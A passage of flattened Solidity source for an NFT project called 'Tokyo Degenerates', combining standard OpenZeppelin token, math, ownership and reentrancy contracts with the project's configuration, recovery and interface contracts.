* @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that
* while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for
* gas optimizations e.g. when performing a transfer operation (avoiding double writes).
* This has O(1) time complexity, but alters the order of the _ownedTokens array.
* @param from address representing the previous owner of the given token ID
* @param tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private {
// To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = ERC721.balanceOf(from) - 1;
uint256 tokenIndex = _ownedTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary
if (tokenIndex != lastTokenIndex) {
uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
}
// This also deletes the contents at the last position of the array
delete _ownedTokensIndex[tokenId];
delete _ownedTokens[from][lastTokenIndex];
}
/**
* @dev Private function to remove a token from this extension's token tracking data structures.
* This has O(1) time complexity, but alters the order of the _allTokens array.
* @param tokenId uint256 ID of the token to be removed from the tokens list
*/
function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
// To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = _allTokens.length - 1;
uint256 tokenIndex = _allTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so
// rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding
// an 'if' statement (like in _removeTokenFromOwnerEnumeration)
uint256 lastTokenId = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
// This also deletes the contents at the last position of the array
delete _allTokensIndex[tokenId];
_allTokens.pop();
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC20/IERC20.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Strings.sol)
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/math/SafeMath.sol)
pragma solidity ^0.8.0;
// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.
/**
* @dev Wrappers over Solidity's arithmetic operations.
*
* NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler
* now has built in overflow checking.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator.
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
pragma solidity ^0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC1820Registry.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the global ERC1820 Registry, as defined in the
* https://eips.ethereum.org/EIPS/eip-1820[EIP]. Accounts may register
* implementers for interfaces in this registry, as well as query support.
*
* Implementers may be shared by multiple accounts, and can also implement more
* than a single interface for each account. Contracts can implement interfaces
* for themselves, but externally-owned accounts (EOA) must delegate this to a
* contract.
*
* {IERC165} interfaces can also be queried via the registry.
*
* For an in-depth explanation and source code analysis, see the EIP text.
*/
interface IERC1820Registry {
/**
* @dev Sets `newManager` as the manager for `account`. A manager of an
* account is able to set interface implementers for it.
*
* By default, each account is its own manager. Passing a value of `0x0` in
* `newManager` will reset the manager to this initial state.
*
* Emits a {ManagerChanged} event.
*
* Requirements:
*
* - the caller must be the current manager for `account`.
*/
function setManager(address account, address newManager) external;
/**
* @dev Returns the manager for `account`.
*
* See {setManager}.
*/
function getManager(address account) external view returns (address);
/**
* @dev Sets the `implementer` contract as ``account``'s implementer for
* `interfaceHash`.
*
* `account` being the zero address is an alias for the caller's address.
* The zero address can also be used in `implementer` to remove an old one.
*
* See {interfaceHash} to learn how these are created.
*
* Emits an {InterfaceImplementerSet} event.
*
* Requirements:
*
* - the caller must be the current manager for `account`.
* - `interfaceHash` must not be an {IERC165} interface id (i.e. it must not
* end in 28 zeroes).
* - `implementer` must implement {IERC1820Implementer} and return true when
* queried for support, unless `implementer` is the caller. See
* {IERC1820Implementer-canImplementInterfaceForAddress}.
*/
function setInterfaceImplementer(
address account,
bytes32 _interfaceHash,
address implementer
) external;
/**
* @dev Returns the implementer of `interfaceHash` for `account`. If no such
* implementer is registered, returns the zero address.
*
* If `interfaceHash` is an {IERC165} interface id (i.e. it ends with 28
* zeroes), `account` will be queried for support of it.
*
* `account` being the zero address is an alias for the caller's address.
*/
function getInterfaceImplementer(address account, bytes32 _interfaceHash) external view returns (address);
/**
* @dev Returns the interface hash for an `interfaceName`, as defined in the
* corresponding
* https://eips.ethereum.org/EIPS/eip-1820#interface-name[section of the EIP].
*/
function interfaceHash(string calldata interfaceName) external pure returns (bytes32);
/**
* @notice Updates the cache with whether the contract implements an ERC165 interface or not.
* @param account Address of the contract for which to update the cache.
* @param interfaceId ERC165 interface for which to update the cache.
*/
function updateERC165Cache(address account, bytes4 interfaceId) external;
/**
* @notice Checks whether a contract implements an ERC165 interface or not.
* If the result is not cached a direct lookup on the contract address is performed.
* If the result is not cached or the cached value is out-of-date, the cache MUST be updated manually by calling
* {updateERC165Cache} with the contract address.
* @param account Address of the contract to check.
* @param interfaceId ERC165 interface to check.
* @return True if `account` implements `interfaceId`, false otherwise.
*/
function implementsERC165Interface(address account, bytes4 interfaceId) external view returns (bool);
/**
* @notice Checks whether a contract implements an ERC165 interface or not without using nor updating the cache.
* @param account Address of the contract to check.
* @param interfaceId ERC165 interface to check.
* @return True if `account` implements `interfaceId`, false otherwise.
*/
function implementsERC165InterfaceNoCache(address account, bytes4 interfaceId) external view returns (bool);
event InterfaceImplementerSet(address indexed account, bytes32 indexed interfaceHash, address indexed implementer);
event ManagerChanged(address indexed account, address indexed newManager);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (security/ReentrancyGuard.sol)
pragma solidity ^0.8.0;
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and making it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
pragma solidity ^0.8.0;
interface community_interface {
function community_claimed(address) external view returns (uint256);
function communityPurchase(address recipient, uint256 tokenCount, bytes memory signature, uint256 role) external payable;
}
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
contract recovery is Ownable {
// blackhole prevention methods
function retrieveETH() external onlyOwner {
payable(msg.sender).transfer(address(this).balance);
}
function retrieveERC20(address _tracker, uint256 amount) external onlyOwner {
IERC20(_tracker).transfer(msg.sender, amount);
}
function retrieve721(address _tracker, uint256 id) external onlyOwner {
IERC721(_tracker).transferFrom(address(this), msg.sender, id);
}
}
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
import "@openzeppelin/contracts/token/ERC777/IERC777.sol";
contract configuration {
// jsons/ec/pluto.json
string constant _name = "Tokyo Degenerates";
string constant _symbol = "TDGN";
struct theKitchenSink {
uint256 _maxSupply;
uint256 _mintPointer;
address payable[] _wallets;
uint256 [] _shares;
uint256 _fullPrice;
uint256 _presalePrice;
uint256 _presaleStart;
uint256 _presaleEnd;
bool _timedSale;
uint256 _saleStart;
uint256 _saleEnd;
uint256 _ensSalePrice;
uint256 _ensPresalePrice;
bool _lockTillSaleEnd;
// per address limits
uint256 _salePerAddress;
uint256 _discountedPerAddress;
string _tokenPreRevealURI;
bool _presaleActive;
bool _saleActive;
bool _dustMintActive;
address ENS;
uint256 _maxPerSaleMint;
uint256 _maxUserMintable;
uint256 _userMinted;
bool _secondReceived;
uint256 _ts1;
uint256 _ts2;
}
//
uint256 constant _maxPresaleSupply = 1000;
uint256 constant _maxSupply = 10000;
address payable[] _wallets = [
payable(0x3E5F533A865C4e4efd4338fF4Fc36EA3D749FE8C),
payable(0x9f97c580ad628B3458a8Aad3BD94F1aCB44Fc830),
payable(0x93d42b0Ade77E1F6001Ddc9B6375254986AB0875),
payable(0x0F199A126fDc51e82267e674e36732c94b5152b4)
];
uint256 [] _shares = [
960,
10,
10,
20
];
uint256 constant _fullPrice = 80000000000000000;
uint256 constant _discountPrice = 50000000000000000;
uint256 constant _clientMint = 100;
bool _timedPresale = false;
uint256 _presaleStart = 1638363600; // Wed, 01 Dec 2021 13:00
uint256 _presaleEnd = 1638368100; // Wed, 01 Dec 2021 14:15
bool _timedSale = false;
uint256 _saleStart = 1638363600; // Wed, 01 Dec 2021 13:00
uint256 _saleEnd = 1638368100; // Wed, 01 Dec 2021 14:15
uint256 constant _ensPresalePrice = 5e18;
uint256 constant _ensSalePrice = 8e18;
bool _lockTillSaleEnd = false;
// DISCOUNTS
uint256 constant _maxDiscount = 10000;
uint256 _totalDiscount;
// per address limits
uint256 constant _discountedPerAddress = 1000;
string _tokenPreRevealURI = "https://api.tokyodegenerates.com/";
// Private Minting
uint256 constant _maxPerSaleMint = 10;
uint256 constant _presalePerAddress = 10;
uint256 constant _salePerAddress = 10;
address constant _presigner = 0x419B3f5982DA6AD4D590c44B071409f3982ce810;
}
pragma solidity ^0.8.0;
// SPDX-Licence-Identifier: RIGHT-CLICK-SAVE-ONLY
interface token_interface {
struct TKS { // Token Kitchen Sink
uint256 _mintPosition;
uint256 _ts1;
string _pre_reveal_uri;
bool _lockTillSaleEnd;
bool _secondReceived;
}
function setAllowed(address _addr, bool _state) external;
function permitted(address) external view returns (bool);
function mintCards(uint256 numberOfCards, address recipient) external;
function tellEverything() external view returns (TKS memory);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC721/ERC721.sol)
pragma solidity ^0.8.0;
import "./IERC721.sol";
import "./IERC721Receiver.sol";
import "./extensions/IERC721Metadata.sol";
import "../../utils/Address.sol";
import "../../utils/Context.sol";
import "../../utils/Strings.sol";
import "../../utils/introspection/ERC165.sol";
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
_setApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Approve `operator` to operate on all of `owner` tokens
*
* Emits a {ApprovalForAll} event.
*/
function _setApprovalForAll(
address owner,
address operator,
bool approved
) internal virtual {
require(owner != operator, "ERC721: approve to caller");
_operatorApprovals[owner][operator] = approved;
emit ApprovalForAll(owner, operator, approved);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
